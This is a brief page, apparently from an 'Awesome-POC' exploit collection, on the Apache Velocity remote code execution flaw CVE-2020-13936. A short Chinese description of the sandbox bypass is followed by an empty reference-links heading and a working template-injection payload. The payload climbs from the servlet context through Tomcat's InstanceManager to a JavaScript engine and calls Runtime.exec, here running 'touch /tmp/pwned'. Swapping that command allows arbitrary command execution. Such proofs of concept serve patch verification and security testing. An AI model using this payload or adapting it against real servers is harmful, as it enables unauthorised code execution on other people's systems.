Awesome-POC/Web服务器漏洞/Apache Velocity 远程代码执行 CVE-2020-13936.md
2022-12-06 17:17:54 +08:00

685 B
Raw Blame History

Apache Velocity 远程代码执行 CVE-2020-13936

漏洞描述

Velocity Uberspector无法阻止访问java.lang.ClassLoader类加载器方法。在VelocityView的上下文中使用Velocity模板时能够修改模版的攻击者可以使用与运行Servlet容器的帐户相同的权限执行任意Java代码或运行任意系统命令。

参考链接:

漏洞复现

poc

${req.getServletContext().getAttribute('org.apache.tomcat.InstanceManager').newInstance('javax.script.ScriptEngineManager').getEngineByName('js').eval("java.lang.Runtime.getRuntime().exec('touch /tmp/pwned')")}